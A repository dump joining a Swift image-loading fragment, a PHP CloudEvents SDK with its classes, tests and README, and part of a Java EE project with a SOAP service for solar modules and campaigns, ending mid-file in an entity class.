{ super.init() } func imageFromUrl(urlString: String) { if let url = URL(string: urlString) { let request = URLRequest(url: url) let urlSession = URLSession(configuration: .default) let dataTask = urlSession.dataTask(with: request, completionHandler: { (data, response, error) in if let imageData = data as Data? { let image = UIImage(data: imageData) ImageLoader.cache.setObject(imageData as AnyObject, forKey: urlString as AnyObject) DispatchQueue.main.async { self.delegate?.imageLoaded(image: image!, forIndexPath: self.indexPath!) } } }) dataTask.resume() } } func imageFromUrl(urlString: String, onCompletion: @escaping (UIImage?) -> Void) { if let url = URL(string: urlString) { let request = URLRequest(url: url) let urlSession = URLSession(configuration: .default) let dataTask = urlSession.dataTask(with: request, completionHandler: { (data, response, error) in if let imageData = data as Data? { let image = UIImage(data: imageData) ImageLoader.cache.setObject(imageData as AnyObject, forKey: urlString as AnyObject) DispatchQueue.main.async { onCompletion(image) } } }) dataTask.resume() } } func imageFromUrl(url: URL?, onCompletion: @escaping (UIImage?) -> Void) { if let url = url { let request = URLRequest(url: url) let urlSession = URLSession(configuration: .default) let dataTask = urlSession.dataTask(with: request, completionHandler: { (data, response, error) in if let imageData = data as Data? { let image = UIImage(data: imageData) ImageLoader.cache.setObject(imageData as AnyObject, forKey: url.absoluteString as AnyObject) DispatchQueue.main.async { onCompletion(image) } } }) dataTask.resume() } } }
995119483887091017c922976df15d883dba2707
[ "Markdown", "Swift" ]
2
Markdown
subhadeep-pal/Image-URL-Loader
ce7e31b185b5ee68045f404dc8cb91e3dd126516
2853cbb2eb6d099bbdc11c6bf39e871bb6e32083
refs/heads/master
<repo_name>wuwx/sdk-php<file_sep>/tests/CloudEvents/Serializers/Formatters/FormatterTest.php <?php namespace CloudEvents\Tests\CloudEvents\Serializers\Formatters; use CloudEvents\Serializers\Formatters\Formatter; use DateTimeImmutable; use PHPUnit\Framework\TestCase; /** * @coversDefaultClass \CloudEvents\Serializers\Formmaters\Formatter */ class FormatterTest extends TestCase { /** * @covers ::encodeTime * @covers ::decodeTime */ public function testTime(): void { $formatter = new Formatter(); $this->assertEquals('2018-04-05T17:31:00Z', $formatter->encodeTime(new DateTimeImmutable('2018-04-05T17:31:00Z'))); $this->assertEquals(new DateTimeImmutable('2018-04-05T17:31:00Z'), $formatter->decodeTime('2018-04-05T17:31:00Z')); } /** * @covers ::encodeData * @covers ::decodeData */ public function testData(): void { $formatter = new Formatter(); $data = random_bytes(1024); $encoded = base64_encode($data); $this->assertEquals(['data' => ['foo' => 'bar']], $formatter->encodeData(['foo' => 'bar'])); $this->assertEquals(['foo' => 'bar'], $formatter->decodeData(['data' => ['foo' => 'bar']])); $this->assertEquals(['data_base64' => $encoded], $formatter->encodeData($data)); $this->assertEquals($data, $formatter->decodeData(['data_base64' => $encoded])); } } <file_sep>/tests/CloudEvents/V1/CloudEventTest.php <?php namespace CloudEvents\Tests\CloudEvents\V1; use CloudEvents\V1\CloudEvent; use PHPUnit\Framework\TestCase; /** * @coversDefaultClass \CloudEvents\V1\CloudEvent */ class CloudEventTest extends TestCase { /** * @covers ::getSpecVersion */ public function testGetSpecVersion(): void { $this->assertEquals('1.0', $this->getEvent()->getSpecVersion()); } /** * @covers ::getId * @covers ::setId */ public function testGetSetId(): void { $event = $this->getEvent(); $this->assertEquals('A234-1234-1234', $event->getId()); $event = $event->setId('new-id'); $this->assertEquals('new-id', $event->getId()); } /** * @covers ::getSource * @covers ::setSource */ public function testGetSetSource(): void { $event = $this->getEvent(); $this->assertEquals('https://github.com/cloudevents/spec/pull', $event->getSource()); $event = $event->setSource('new-source'); $this->assertEquals('new-source', $event->getSource()); } /** * @covers ::getType * @covers ::setType */ public function testGetSetType(): void { $event = $this->getEvent(); $this->assertEquals('com.github.pull_request.opened', $event->getType()); $event = $event->setType('new-type'); $this->assertEquals('new-type', $event->getType()); } /** * @covers ::getDataContentType * @covers ::setDataContentType */ public function testGetSetDataContentType(): void { $event = $this->getEvent(); $this->assertEquals('text/xml', $event->getDataContentType()); $event = $event->setDataContentType('application/json'); $this->assertEquals('application/json', $event->getDataContentType()); } /** * @covers ::getDataSchema * @covers ::setDataSchema */ public function testGetSetDataSchema(): void { $event = $this->getEvent(); $this->assertEquals(null, $event->getDataSchema()); $event = $event->setDataSchema('new-schema'); $this->assertEquals('new-schema', $event->getDataSchema()); } /** * @covers ::getSubject * @covers ::setSubject */ public function testGetSetSubject(): void { $event = $this->getEvent(); $this->assertEquals('123', $event->getSubject()); $event = $event->setSubject('new-subject'); $this->assertEquals('new-subject', $event->getSubject()); } /** * @covers ::getTime * @covers ::setTime */ public function testGetSetTime(): void { $event = $this->getEvent(); $this->assertEquals(new \DateTimeImmutable('2018-04-05T17:31:00Z'), $event->getTime()); $event = $event->setTime(new \DateTimeImmutable('2021-01-19T17:31:00Z')); $this->assertEquals(new \DateTimeImmutable('2021-01-19T17:31:00Z'), $event->getTime()); } /** * @covers ::getData * @covers ::setData */ public function testGetSetData(): void { $event = $this->getEvent(); $this->assertEquals('<much wow=\"xml\"/>', $event->getData()); $event = $event->setData('{"key": "value"}'); $this->assertEquals('{"key": "value"}', $event->getData()); } private function getEvent(): CloudEvent { return new CloudEvent( 'A234-1234-1234', 'https://github.com/cloudevents/spec/pull', 'com.github.pull_request.opened', '<much wow=\"xml\"/>', 'text/xml', null, '123', new \DateTimeImmutable('2018-04-05T17:31:00Z') ); } } <file_sep>/README.md # PHP SDK for [CloudEvents](https://github.com/cloudevents/spec) ## Status This SDK is currently a work in progress, therefore things might (and will) break with every update. This SDK aims to supports the following versions of CloudEvents: - [v1.0](https://github.com/cloudevents/spec/blob/v1.0.1/spec.md) ## Installation Install the SDK using [composer](https://getcomposer.org/): ```sh composer require cloudevents/php-sdk ``` ## Send your first CloudEvent Note, this is just the desired API at this point and doesn't reflect the functionality of this SDK yet. ```php use \CloudEvents\Client; use \CloudEvents\V1\CloudEvent; use \CloudEvents\Request; $event = (new CloudEvent()) // The current implementation requires you to maintain your own id. ->setId('1n6bFxDMHZFChlI4TVI9tdzphB9') ->setSource('/examples/php-sdk') ->setType('com.example.type') ->setData(json_encode(['example' => 'first-event'])); (new Client('http://localhost:8080/')) ->sendRequest(new Request($event)); ``` Note that the `CloudEvents\Client` implements the [PSR-18](https://www.php-fig.org/psr/psr-18/) spec and the `CloudEvents\Request` implements the appropriate [PSR-7 interfaces](https://www.php-fig.org/psr/psr-7/). ## Serialize/Deserialize a CloudEvent ```php use CloudEvents\Serializers\JsonSerializer; use \CloudEvents\V1\CloudEvent; $event = (new CloudEvent()) // The current implementation requires you to maintain your own id. ->setId('1n6bFxDMHZFChlI4TVI9tdzphB9') ->setSource('/examples/php-sdk') ->setType('com.example.type') ->setData(json_encode(['example' => 'first-event'])); // JSON serialization $serializer = new JsonSerializer(); $serializer->serialize($event); // TODO: deserilization ``` ## Testing You can use `composer` to build and run test environments when contributing. ``` $ composer run -l scripts: lint Show all current linting errors according to PSR12 lint-fix Show and fix all current linting errors according to PSR12 tests Run all tests locally tests-build Build containers to test against supported PHP versions tests-docker Run tests within supported PHP version containers ``` ## Community - There are bi-weekly calls immediately following the [Serverless/CloudEvents call](https://github.com/cloudevents/spec#meeting-time) at 9am PT (US Pacific). Which means they will typically start at 10am PT, but if the other call ends early then the SDK call will start early as well. See the [CloudEvents meeting minutes](https://docs.google.com/document/d/1OVF68rpuPK5shIHILK9JOqlZBbfe91RNzQ7u_P7YCDE/edit#) to determine which week will have the call. - Slack: #cloudeventssdk channel under [CNCF's Slack workspace](https://slack.cncf.io/). - Email: https://lists.cncf.io/g/cncf-cloudevents-sdk - Contact for additional information: <NAME> (`@denysmakogon` on slack). Each SDK may have its own unique processes, tooling and guidelines, common governance related material can be found in the [CloudEvents `community`](https://github.com/cloudevents/spec/tree/master/community) directory. In particular, in there you will find information concerning how SDK projects are [managed](https://github.com/cloudevents/spec/blob/master/community/SDK-GOVERNANCE.md), [guidelines](https://github.com/cloudevents/spec/blob/master/community/SDK-maintainer-guidelines.md) for how PR reviews and approval, and our [Code of Conduct](https://github.com/cloudevents/spec/blob/master/community/GOVERNANCE.md#additional-information) information. <file_sep>/src/CloudEvents/Serializers/JsonSerializer.php <?php namespace CloudEvents\Serializers; use CloudEvents\CloudEventInterface; use CloudEvents\Serializers\Exceptions\UnsupportedEventSpecVersionException; class JsonSerializer { protected ArraySerializer $arraySerializer; public function __construct(ArraySerializer $arraySerializer = null) { $this->arraySerializer = $arraySerializer ?? new ArraySerializer(); } /** * @throws UnsupportedEventSpecVersionException * @throws \JsonException */ public function serialize(CloudEventInterface $cloudEvent): string { return json_encode($this->arraySerializer->serialize($cloudEvent), JSON_THROW_ON_ERROR); } /** * @throws UnsupportedEventSpecVersionException * @throws MissingPayloadAttributeException * @throws \JsonException */ public function deserialize(string $payload): CloudEventInterface { return $this->arraySerializer->deserialize(json_decode($payload, true, 512, JSON_THROW_ON_ERROR)); } } <file_sep>/src/CloudEvents/V1/CloudEvent.php <?php declare(strict_types=1); namespace CloudEvents\V1; use DateTimeInterface; class CloudEvent implements CloudEventInterface { private string $id; private string $source; private string $type; private ?string $dataContentType; private ?string $dataSchema; private ?string $subject; private ?DateTimeInterface $time; /** @var mixed|null */ private $data; public function __construct( string $id, string $source, string $type, $data = null, ?string $dataContentType = null, ?string $dataSchema = null, ?string $subject = null, ?DateTimeInterface $time = null ) { $this->id = $id; $this->source = $source; $this->type = $type; $this->data = $data; $this->dataContentType = $dataContentType; $this->dataSchema = $dataSchema; $this->subject = $subject; $this->time = $time; } public function getSpecVersion(): string { return static::SPEC_VERSION; } public function getId(): string { return $this->id; } public function setId(string $id): CloudEvent { $this->id = $id; return $this; } public function getSource(): string { return $this->source; } public function setSource(string $source): CloudEvent { $this->source = $source; return $this; } public function getType(): string { return $this->type; } public function setType(string $type): CloudEvent { $this->type = $type; return $this; } /** * @return mixed|null */ public function getData() { return $this->data; } /** * @param mixed|null $data */ public function setData($data): CloudEvent { $this->data = $data; return $this; } public function getDataContentType(): ?string { return $this->dataContentType; } public function setDataContentType(?string $dataContentType): CloudEvent { $this->dataContentType = $dataContentType; return $this; } public function getDataSchema(): ?string { return $this->dataSchema; } public function setDataSchema(?string $dataSchema): CloudEvent { $this->dataSchema = $dataSchema; return $this; } public function getSubject(): ?string { return $this->subject; } public function setSubject(?string $subject): CloudEvent { $this->subject = $subject; return $this; } public function getTime(): ?DateTimeInterface { return $this->time; } public function setTime(?DateTimeInterface $time): CloudEvent { $this->time = $time; return $this; } } <file_sep>/src/CloudEvents/CloudEventInterface.php <?php namespace CloudEvents; interface CloudEventInterface { public function getSpecVersion(): string; } <file_sep>/src/CloudEvents/Serializers/Exceptions/SerializationException.php <?php namespace CloudEvents\Serializers\Exceptions; use Exception; abstract class SerializationException extends Exception { } <file_sep>/src/CloudEvents/Serializers/ArraySerializer.php <?php namespace CloudEvents\Serializers; use CloudEvents\CloudEventInterface; use CloudEvents\Serializers\Exceptions\MissingPayloadAttributeException; use CloudEvents\Serializers\Exceptions\UnsupportedEventSpecVersionException; use CloudEvents\Serializers\Formatters\Formatter; use CloudEvents\Serializers\Formatters\FormatterInterface; use CloudEvents\V1\CloudEventInterface as V1CloudEventInterface; use CloudEvents\V1\CloudEvent; use DateTimeInterface; use DateTimeZone; class ArraySerializer { protected FormatterInterface $formatter; public function __construct(FormatterInterface $formatter = null) { $this->formatter = $formatter ?? new Formatter(); } /** * @throws UnsupportedEventSpecVersionException */ public function serialize(CloudEventInterface $cloudEvent): array { return array_filter(array_merge( $this->encodePayload($cloudEvent), $this->formatter->encodeData($cloudEvent->getData()) ), fn ($attr) => $attr !== null); } /** * Get a JSON-serializable array representation of the CloudEvent. * * @throws UnsupportedEventSpecVersionException */ protected function encodePayload(CloudEventInterface $cloudEvent): array { if ($cloudEvent instanceof V1CloudEventInterface) { return [ 'specversion' => $cloudEvent->getSpecVersion(), 'id' => $cloudEvent->getId(), 'source' => $cloudEvent->getSource(), 'type' => $cloudEvent->getType(), 'datacontenttype' => $cloudEvent->getDataContentType(), 'dataschema' => $cloudEvent->getDataSchema(), 'subject' => $cloudEvent->getSubject(), 'time' => $this->formatter->encodeTime($cloudEvent->getTime()), ]; } throw new UnsupportedEventSpecVersionException(); } /** * @throws UnsupportedEventSpecVersionException * @throws MissingPayloadAttributeException */ public function deserialize(array $payload): CloudEventInterface { return $this->decodePayload($payload)->setData($this->formatter->decodeData($payload)); } /** * Get a CloudEvent from a JSON-serializable array representation. * * @throws UnsupportedEventSpecVersionException * @throws MissingPayloadAttributeException */ protected function decodePayload(array $payload): CloudEventInterface { if ($payload['specversion'] ?? null === V1CloudEventInterface::SPEC_VERSION) { if (!isset($payload['id']) || !isset($payload['source']) || !isset($payload['type'])) { throw new MissingPayloadAttributeException(); } $cloudEvent = new CloudEvent( $payload['id'], $payload['source'], $payload['type'] ); if (isset($payload['datacontenttype'])) { $cloudEvent->setDataContentType($payload['datacontenttype']); } if (isset($payload['dataschema'])) { $cloudEvent->setDataSchema($payload['dataschema']); } if (isset($payload['subject'])) { $cloudEvent->setSubject($payload['subject']); } if (isset($payload['time'])) { $cloudEvent->setTime($this->formatter->decodeTime($payload['time'])); } return $cloudEvent; } throw new UnsupportedEventSpecVersionException(); } } <file_sep>/tests/CloudEvents/Serializers/ArraySerializerTest.php <?php namespace CloudEvents\Tests\CloudEvents\Serializers; use CloudEvents\Serializers\ArraySerializer; use CloudEvents\V1\CloudEventInterface; use DateTimeImmutable; use PHPUnit\Framework\MockObject\Stub; use PHPUnit\Framework\TestCase; /** * @coversDefaultClass \CloudEvents\Serializers\ArraySerializer */ class ArraySerializerTest extends TestCase { /** * @covers ::serialize */ public function testSerialize(): void { /** @var CloudEventInterface|Stub $event */ $event = $this->createStub(CloudEventInterface::class); $event->method('getSpecVersion')->willReturn('1.0'); $event->method('getId')->willReturn('1234-1234-1234'); $event->method('getSource')->willReturn('/var/data'); $event->method('getType')->willReturn('com.example.someevent'); $event->method('getDataContentType')->willReturn('application/json'); $event->method('getDataSchema')->willReturn('com.example/schema'); $event->method('getSubject')->willReturn('larger-context'); $event->method('getTime')->willReturn(new DateTimeImmutable('2018-04-05T17:31:00Z')); $event->method('getData')->willReturn(['key' => 'value']); $formatter = new ArraySerializer(); $this->assertSame( [ 'specversion' => '1.0', 'id' => '1234-1234-1234', 'source' => '/var/data', 'type' => 'com.example.someevent', 'datacontenttype' => 'application/json', 'dataschema' => 'com.example/schema', 'subject' => 'larger-context', 'time' => '2018-04-05T17:31:00Z', 'data' => [ 'key' => 'value', ] ], $formatter->serialize($event) ); } /** * @covers ::serialize */ public function testSerializeWithUnsetAttributes(): void { /** @var CloudEventInterface|Stub $event */ $event = $this->createStub(CloudEventInterface::class); $event->method('getSpecVersion')->willReturn('1.0'); $event->method('getId')->willReturn('1234-1234-1234'); $event->method('getSource')->willReturn('/var/data'); $event->method('getType')->willReturn('com.example.someevent'); $event->method('getSubject')->willReturn('larger-context'); $event->method('getTime')->willReturn(new DateTimeImmutable('2018-04-05T17:31:00Z')); $formatter = new ArraySerializer(); $this->assertSame( [ 'specversion' => '1.0', 'id' => '1234-1234-1234', 'source' => '/var/data', 'type' => 'com.example.someevent', 'subject' => 'larger-context', 'time' => '2018-04-05T17:31:00Z', ], $formatter->serialize($event) ); } /** * @covers ::deserialize */ public function testDeserialize(): void { $payload = [ 'specversion' => '1.0', 'id' => '1234-1234-1234', 'source' => '/var/data', 'type' => 'com.example.someevent', 'datacontenttype' => 'application/json', 'dataschema' => 'com.example/schema', 'subject' => 'larger-context', 'time' => '2018-04-05T17:31:00Z', 'data' => [ 'key' => 'value', ] ]; $formatter = new ArraySerializer(); $event = $formatter->deserialize($payload); $this->assertEquals('1.0', $event->getSpecVersion()); $this->assertEquals('1234-1234-1234', $event->getId()); $this->assertEquals('/var/data', $event->getSource()); $this->assertEquals('com.example.someevent', $event->getType()); $this->assertEquals('application/json', $event->getDataContentType()); $this->assertEquals('com.example/schema', $event->getDataSchema()); $this->assertEquals('larger-context', $event->getSubject()); $this->assertEquals(new DateTimeImmutable('2018-04-05T17:31:00Z'), $event->getTime()); $this->assertEquals(['key' => 'value'], $event->getData()); } } <file_sep>/src/CloudEvents/V1/CloudEventInterface.php <?php declare(strict_types=1); namespace CloudEvents\V1; use DateTimeInterface; interface CloudEventInterface extends \CloudEvents\CloudEventInterface { public const SPEC_VERSION = '1.0'; public function getId(): string; public function getSource(): string; public function getType(): string; public function getDataContentType(): ?string; public function getDataSchema(): ?string; public function getSubject(): ?string; public function getTime(): ?DateTimeInterface; /** * @return mixed|null */ public function getData(); } <file_sep>/src/CloudEvents/Serializers/Formatters/Formatter.php <?php namespace CloudEvents\Serializers\Formatters; use DateTime; use DateTimeImmutable; use DateTimeInterface; use DateTimeZone; use ValueError; class Formatter implements FormatterInterface { private const TIME_FORMAT = 'Y-m-d\TH:i:s\Z'; private const TIME_ZONE = 'UTC'; public function encodeTime(?DateTimeInterface $time): ?string { if ($time === null) { return null; } // make sure we don't mutate the original object return ($time instanceof DateTime ? DateTimeImmutable::createFromMutable($time) : $time) ->setTimezone(new DateTimeZone(self::TIME_ZONE)) ->format(self::TIME_FORMAT); } public function decodeTime(?string $time): ?DateTimeInterface { return $time === null ? null : DateTimeImmutable::createFromFormat(self::TIME_FORMAT, $time, new DateTimeZone(self::TIME_ZONE)); } /** * @param mixed|null $data */ public function encodeData($data): array { if ($this->isBinary($data)) { return ['data_base64' => base64_encode($data)]; } return ['data' => $data]; } /** * @return mixed|null */ public function decodeData(array $data) { if (isset($data['data_base64'])) { $decoded = base64_decode($data['data_base64'], true); if ($decoded === false) { throw new ValueError( \sprintf('%s::decodeData(): Argument #1 ($data) contains bad data_base64 attribute content', self::class) ); } return $decoded; } if (isset($data['data'])) { return $data['data']; } return null; } /** * @param mixed|null $data */ protected function isBinary($data): bool { return is_string($data) && !preg_match('//u', $data); } } <file_sep>/src/CloudEvents/Serializers/Formatters/FormatterInterface.php <?php namespace CloudEvents\Serializers\Formatters; use DateTimeInterface; interface FormatterInterface { public function encodeTime(?DateTimeInterface $time): ?string; public function decodeTime(?string $time): ?DateTimeInterface; /** * @param mixed|null $data */ public function encodeData($data): array; /** * @return mixed|null */ public function decodeData(array $data); }
23a5fb613b80b31707231d8483577977b8a2790b
[ "Markdown", "PHP" ]
12
PHP
wuwx/sdk-php
73301da2f551057a2ae0b3215912808b130c8ac2
10cd0bcc62d7c66f734cc80b31ce13e948a4929c
refs/heads/master
<file_sep>#### == FreeCodeCamp's excersice: Random Quote Machine == ------------------------ This is a FreeCodeCamp exercise to create random quote machine. It uses normalize.css, HTML5, SASS and vanilla JavaScript. On full-size desktop view, it loads a background image from unsplash.com. Devices with a screen width under 1024px, it will load random generated linear-gradient as background. Every new quote fetching, this gradient is regenerated. On desktop view border of quote box has a randomly generated color. ##### Tools used: - Normalize.css - HTML5 - SASS - JavaScript - [Programmin Quotes API](http://quotes.stormconsultancy.co.uk/api) ##### Features: ###### Desktop - Loads background image from unsplash.com on page refresh. - Border color of the quote box is randomly generated on every new quote. ###### Mobile - Responsive site. - On mobile/tablet view background image is replaced with a randomly generated gradient. Changes for every new quote. Border color will stay white. ###### You are welcome to read and learn from this code, but do not just copy paste code. You will not learn that way. ## You can see this site live in my [CodePen](http://codepen.io/Locheed/full/VjOBom/)<file_sep>// - - - - - Global variables. - - - - - // var angle = 0; var rgbColor = []; // - - - - - Randomize RGB colors. - - - - - // function randColor() { // - - - - - Clear array for new run. - - - - - // rgbColor = []; for (i = 0; i < 6; i++) { rgbColor.push(Math.floor((Math.random() * 256) + 0)) } // - - - - - Randomize gradient angle. - - - - - // angle = Math.floor((Math.random() * 360) + 0); }; // - - - - - JSONP request and screen width check, when page loads first time. - - - - - // newQuote(); checkScreen(); // - - - - - Button click fires these function calls. - - - - - // function onClick() { checkScreen(); fadeOut(); setTimeout(function(){ fadeIn(); }, 1500); } // - - - - - Injects JSONP to head and fetches new quote when button is clicked. - - - - - // function newQuote() { var script = document.createElement('script'); script.src = 'http://quotes.stormconsultancy.co.uk/quotes/random.json?callback=getQuote' document.getElementsByTagName('head')[0].appendChild(script); // or document.head.appendChild(script) in modern browsers } // - - - - - Fades out quote. - - - - - // function fadeOut() { document.getElementsByTagName('p')[0].className = 'anim'; document.getElementsByTagName('p')[1].className = 'anim'; } // - - - - - Fades in new quote. - - - - - // function fadeIn() { newQuote(); document.getElementsByTagName('p')[0].className = ''; document.getElementsByTagName('p')[1].className = ''; } // - - - - - Writes quote and author to HTML. - - - - - // function getQuote(data) { document.getElementById("quote").innerHTML = data.quote; document.getElementById("author").innerHTML = "- " + data.author; } // - - - - - Check screen width and either change background color or bordercolor. - - - - - // function checkScreen() { var mq = window.matchMedia( "(max-width: 1024px)"); if (mq.matches) { changeBG(); } else { borderBG(); }; }; // - - - - - Setting background color with random linear gradient rgb values and random angle. - - - - - // function changeBG() { randColor(); var rgb = "linear-gradient(" + angle + "deg, " + "rgb(" + rgbColor[0] + ", " + rgbColor[1] + ", " + rgbColor[2] + ")" + ", " + "rgb(" + rgbColor[3] + ", " + rgbColor[4] + ", " + rgbColor[5] + "))" + " no-repeat center center fixed" document.body.style.background = rgb; }; // - - - - - Changes border color, if screen size is under 1024px. - - - - - // function borderBG() { randColor(); var borderBG = "3px solid rgba(" + rgbColor[0] + ", " + rgbColor[1] + ", " + rgbColor[2] + ", " + "0.4" +")"; document.getElementById('content').style.border = borderBG; };
75b2ee0a8ee9f2246fce93d4a319195d8c8966d3
[ "Markdown", "JavaScript" ]
2
Markdown
Locheed/FCC-RandomQuoteMachine
69188d4fb0306cfd979e237764b27960a3cb5a8f
2d86ae7bc8ddf5786de39db0cfde5bdc5511d193
refs/heads/master
<repo_name>muerterauda/iweb<file_sep>/iweb-ejb/src/java/services/ServiciosIweb.java /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package services; import ejb.CampañaFacade; import ejb.ModuloFacade; import entity.Campaña; import entity.Modulo; import java.util.ArrayList; import java.util.Date; import java.util.List; import javax.ejb.EJB; import javax.jws.WebService; import javax.ejb.Stateless; import javax.jws.Oneway; import javax.jws.WebMethod; import javax.jws.WebParam; /** * * @author PC */ @WebService(serviceName = "ServiciosIweb") @Stateless() public class ServiciosIweb { @EJB private ModuloFacade moduloFacade; @EJB private CampañaFacade campañaFacade; @WebMethod(operationName = "countModulo") public int countModulo() { return moduloFacade.count(); } @WebMethod(operationName = "countCampaña") public int countCampaña() { return campañaFacade.count(); } @WebMethod(operationName = "crearModulo") @Oneway public void crearModulo(@WebParam(name = "nombre") String nombre, @WebParam(name = "alfa") double alfa, @WebParam(name = "beta") double beta, @WebParam(name = "gamma") double gamma, @WebParam(name = "kappa") double kappa) { Modulo m = new Modulo(); m.setNombre(nombre); m.setAlfa(alfa); m.setBeta(beta); m.setGamma(gamma); m.setKappa(kappa); moduloFacade.create(m); } @WebMethod(operationName="crearCampaña") @Oneway public void crearCampaña(@WebParam(name = "modulo") long modulo, @WebParam(name = "nombre") String nombre, @WebParam(name = "fechaIni") Date fechaIni, @WebParam(name = "fechaFin") Date fechaFin){ Campaña c = new Campaña(); c.setModulo(moduloFacade.find(modulo)); c.setNombre(nombre); c.setFechaInicio(fechaIni); c.setFechaFin(fechaFin); campañaFacade.create(c); } @WebMethod(operationName = "editarModulo") @Oneway public void editarModulo(@WebParam(name = "id") long id, @WebParam(name = "nombre") String nombre, @WebParam(name = "alfa") double alfa, @WebParam(name = "beta") double beta, @WebParam(name = "gamma") double gamma, @WebParam(name = "kappa") double kappa) { Modulo m = moduloFacade.find(id); m.setNombre(nombre); m.setAlfa(alfa); m.setBeta(beta); m.setGamma(gamma); m.setKappa(kappa); moduloFacade.edit(m); } @WebMethod(operationName ="editarCampaña") @Oneway public void editarCampaña(@WebParam(name = "id") long id, @WebParam(name = "modulo") long modulo, @WebParam(name = "nombre") String nombre, @WebParam(name = "fechaIni") Date fechaIni, @WebParam(name = "fechaFin") Date fechaFin){ Campaña c = campañaFacade.find(id); c.setModulo(moduloFacade.find(modulo)); c.setNombre(nombre); c.setFechaInicio(fechaIni); c.setFechaFin(fechaFin); campañaFacade.edit(c); } @WebMethod(operationName = "borrarModulo") @Oneway public void borrarModulo(@WebParam(name = "id") long id) { Modulo m = moduloFacade.find(id); moduloFacade.remove(m); } @WebMethod(operationName = "borrarCampaña") @Oneway public void borrarCampaña(@WebParam(name = "id") long id) { Campaña m = campañaFacade.find(id); campañaFacade.remove(m); } //Búsqueda Módulos @WebMethod(operationName ="buscarModulos") public List<Modulo> buscarModulos(){ return moduloFacade.findAll(); } //Campañas de módulos @WebMethod(operationName = "buscarCampañasModulo") public List<Campaña> buscarCampañasModulo(@WebParam(name = "id") long id){ Modulo m = moduloFacade.find(id); return m.getCampañaList(); } //Modulo por nombre @WebMethod(operationName = "buscarModulosNombre") public List<Modulo> buscarModuloNombre(@WebParam(name = "nombre") String nombre){ List<Modulo> lista = new ArrayList<>(); moduloFacade.findAll().stream().filter((m) -> (m.getNombre().equals(nombre))).forEachOrdered((m) -> { lista.add(m); }); return lista; } //Campañas de módulo por fecha //Campañas de módulos @WebMethod(operationName = "buscarCampañasModuloFecha") public List<Campaña> buscarCampañasModuloFecha(@WebParam(name = "id") long id, @WebParam(name = "fecha") Date fecha){ Modulo m = moduloFacade.find(id); List<Campaña> lista = new ArrayList<>(); for(Campaña c : m.getCampañaList()){ if(c.getFechaInicio().before(fecha) && c.getFechaFin().after(fecha)) lista.add(c); } return lista; } } <file_sep>/README.md # iweb Para configurar los bean simplemente hay que crear un webclient de SOA en la parte del web, y actuaizar las referencias <file_sep>/iweb-war/src/java/bean/PruebaBean.java /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package bean; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.util.LinkedList; import java.util.List; import java.util.Scanner; import java.util.logging.Level; import java.util.logging.Logger; import javax.annotation.PostConstruct; import javax.inject.Named; import javax.enterprise.context.RequestScoped; import javax.servlet.http.Part; import javax.xml.ws.WebServiceRef; import service.ServiciosIweb_Service; /** * * @author Sergi */ @Named(value = "pruebaBean") @RequestScoped public class PruebaBean { @WebServiceRef(wsdlLocation = "WEB-INF/wsdl/localhost_8080/ServiciosIweb/ServiciosIweb.wsdl") private ServiciosIweb_Service service; private Part archivo; /** * Creates a new instance of PruebaBean */ public PruebaBean() { } @PostConstruct public void init(){ } public Part getArchivo() { return archivo; } public void setArchivo(Part archivo) { this.archivo = archivo; } public int countModulo() { // Note that the injected javax.xml.ws.Service reference as well as port objects are not thread safe. // If the calling of port operations may lead to race condition some synchronization is required. service.ServiciosIweb port = service.getServiciosIwebPort(); return port.countModulo(); } public void procesar(){ try { leerModulo(archivo.getInputStream()); } catch (IOException ex) { Logger.getLogger(PruebaBean.class.getName()).log(Level.SEVERE, null, ex); } } private void leerModulo(InputStream f) { List<String> lista=new LinkedList<>(); try{ Scanner sc = new Scanner(f); while (sc.hasNextLine()) { String linea = sc.nextLine(); lista.add(linea); } sc.close(); }catch(Exception e){ System.out.println("Error en la apertura del fichero"); } String nombre = lista.get(0); String alfa = lista.get(14); String beta = lista.get(16); String gamma = lista.get(18); String kappa = lista.get(20); crearModulo(nombre, Double.parseDouble(alfa), Double.parseDouble(beta), Double.parseDouble(gamma), Double.parseDouble(kappa)); } private void crearModulo(java.lang.String nombre, double alfa, double beta, double gamma, double kappa) { // Note that the injected javax.xml.ws.Service reference as well as port objects are not thread safe. // If the calling of port operations may lead to race condition some synchronization is required. service.ServiciosIweb port = service.getServiciosIwebPort(); port.crearModulo(nombre, alfa, beta, gamma, kappa); } } <file_sep>/iweb-ejb/src/java/entity/Campaña.java /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package entity; import java.io.Serializable; import java.util.Date; import javax.persistence.Basic; import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.GeneratedValue; import javax.persistence.GenerationType; import javax.persistence.Id; import javax.persistence.JoinColumn; import javax.persistence.ManyToOne; import javax.persistence.NamedQueries; import javax.persistence.NamedQuery; import javax.persistence.Table; import javax.persistence.Temporal; import javax.persistence.TemporalType; import javax.validation.constraints.NotNull; import javax.validation.constraints.Size; import javax.xml.bind.annotation.XmlRootElement; /** * * @author user */ @Entity @Table(name = "campa\u00f1a") @XmlRootElement @NamedQueries({ @NamedQuery(name = "Campa\u00f1a.findAll", query = "SELECT c FROM Campa\u00f1a c") , @NamedQuery(name = "Campa\u00f1a.findById", query = "SELECT c FROM Campa\u00f1a c WHERE c.id = :id") , @NamedQuery(name = "Campa\u00f1a.findByNombre", query = "SELECT c FROM Campa\u00f1a c WHERE c.nombre = :nombre") , @NamedQuery(name = "Campa\u00f1a.findByFechaInicio", query = "SELECT c FROM Campa\u00f1a c WHERE c.fechaInicio = :fechaInicio") , @NamedQuery(name = "Campa\u00f1a.findByFechaFin", query = "SELECT c FROM Campa\u00f1a c WHERE c.fechaFin = :fechaFin")}) public class Campaña implements Serializable { private static final long serialVersionUID = 1L; @Id @GeneratedValue(strategy = GenerationType.IDENTITY) @Basic(optional = false) @Column(name = "id") private Long id; @Basic(optional = false) @NotNull @Size(min = 1, max = 50) @Column(name = "nombre") private String nombre; @Basic(optional = false) @NotNull @Column(name = "fechaInicio") @Temporal(TemporalType.DATE) private Date fechaInicio; @Basic(optional = false) @NotNull @Column(name = "fechaFin") @Temporal(TemporalType.DATE) private Date fechaFin; @JoinColumn(name = "modulo", referencedColumnName = "id") @ManyToOne(optional = false) private Modulo modulo; public Campaña() { } public Campaña(Long id) { this.id = id; } public Campaña(Long id, String nombre, Date fechaInicio, Date fechaFin) { this.id = id; this.nombre = nombre; this.fechaInicio = fechaInicio; 